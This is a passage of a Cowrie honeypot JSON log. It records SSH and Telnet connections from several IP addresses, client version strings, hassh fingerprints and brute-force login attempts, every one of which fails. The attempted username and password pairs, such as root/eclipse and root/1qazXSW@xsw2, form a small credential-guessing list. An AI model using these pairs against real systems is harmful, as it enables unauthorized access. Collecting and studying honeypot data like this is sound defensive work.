0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:29.343537Z","src_ip":"43.163.119.215","session":"55e81ee9a4fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:30.056512Z","src_ip":"43.163.119.215","session":"55e81ee9a4fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:31.298491Z","src_ip":"43.163.119.215","session":"55e81ee9a4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44028,"dst_ip":"159.203.135.109","dst_port":22,"session":"2631150de746","protocol":"ssh","message":"New connection: 103.75.199.4:44028 (159.203.135.109:22) [session: 2631150de746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:43.119504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:43.127240Z","src_ip":"103.75.199.4","session":"2631150de746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:43.218341Z","src_ip":"103.75.199.4","session":"2631150de746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:43.489942Z","src_ip":"103.75.199.4","session":"2631150de746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:44.582760Z","src_ip":"103.75.199.4","session":"2631150de746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":39432,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf735a6e7a30","protocol":"ssh","message":"New connection: 186.116.56.108:39432 (159.203.135.109:22) [session: bf735a6e7a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:45.632461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:45.637202Z","src_ip":"186.116.56.108","session":"bf735a6e7a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:45.732626Z","src_ip":"186.116.56.108","session":"bf735a6e7a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eclipse","message":"login attempt [root/eclipse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:46.141374Z","src_ip":"186.116.56.108","session":"bf735a6e7a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:47.240041Z","src_ip":"186.116.56.108","session":"bf735a6e7a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":51568,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe313c404671","protocol":"ssh","message":"New connection: 205.209.121.72:51568 (10.17.0.5:22) [session: fe313c404671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:52.235122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:52.239511Z","src_ip":"205.209.121.72","session":"fe313c404671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:52.244828Z","src_ip":"205.209.121.72","session":"fe313c404671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:52.300236Z","src_ip":"205.209.121.72","session":"fe313c404671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:53.308457Z","src_ip":"205.209.121.72","session":"fe313c404671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54056,"dst_ip":"10.17.0.5","dst_port":22,"session":"9002223ce4ce","protocol":"ssh","message":"New connection: 43.163.119.215:54056 (10.17.0.5:22) [session: 9002223ce4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:57.070184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:57.074535Z","src_ip":"43.163.119.215","session":"9002223ce4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:57.312029Z","src_ip":"43.163.119.215","session":"9002223ce4ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:58.024896Z","src_ip":"43.163.119.215","session":"9002223ce4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:59.264953Z","src_ip":"43.163.119.215","session":"9002223ce4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":45539,"dst_ip":"159.203.135.109","dst_port":22,"session":"46db1c415264","protocol":"ssh","message":"New connection: 162.243.147.237:45539 (159.203.135.109:22) [session: 46db1c415264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:02.912954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:02.925260Z","src_ip":"162.243.147.237","session":"46db1c415264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:03.007835Z","src_ip":"162.243.147.237","session":"46db1c415264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@xsw2","message":"login attempt [root/1qazXSW@xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:03.342533Z","src_ip":"162.243.147.237","session":"46db1c415264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:04.422643Z","src_ip":"162.243.147.237","session":"46db1c415264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8de733e775","protocol":"ssh","message":"New connection: 103.75.199.4:43786 (159.203.135.109:22) [session: bf8de733e775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:05.046312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:05.051624Z","src_ip":"103.75.199.4","session":"bf8de733e775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:05.149653Z","src_ip":"103.75.199.4","session":"bf8de733e775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:05.426809Z","src_ip":"103.75.199.4","session":"bf8de733e775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:06.522414Z","src_ip":"103.75.199.4","session":"bf8de733e775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":59004,"dst_ip":"159.203.135.109","dst_port":22,"session":"a644d2b4b081","protocol":"ssh","message":"New connection: 43.153.46.75:59004 (159.203.135.109:22) [session: a644d2b4b081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:07.512349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:07.522183Z","src_ip":"43.153.46.75","session":"a644d2b4b081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:07.590602Z","src_ip":"43.153.46.75","session":"a644d2b4b081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asf","message":"login attempt [root/asf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:07.896247Z","src_ip":"43.153.46.75","session":"a644d2b4b081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:08.968644Z","src_ip":"43.153.46.75","session":"a644d2b4b081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":56196,"dst_ip":"159.203.135.109","dst_port":23,"session":"431c6a7445c0","protocol":"telnet","message":"New connection: 199.103.57.63:56196 (159.203.135.109:23) [session: 431c6a7445c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:21.419717Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":42474,"dst_ip":"10.17.0.5","dst_port":22,"session":"f60fe2f77f4b","protocol":"ssh","message":"New connection: 43.163.119.215:42474 (10.17.0.5:22) [session: f60fe2f77f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:25.549823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:25.557906Z","src_ip":"43.163.119.215","session":"f60fe2f77f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:25.795698Z","src_ip":"43.163.119.215","session":"f60fe2f77f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":55040,"dst_ip":"10.17.0.5","dst_port":22,"session":"9230073d8230","protocol":"ssh","message":"New connection: 43.163.119.215:55040 (10.17.0.5:22) [session: 9230073d8230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:26.341482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:26.347377Z","src_ip":"43.163.119.215","session":"9230073d8230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:26.508759Z","src_ip":"43.163.119.215","session":"f60fe2f77f4b","protocol":"ssh"}
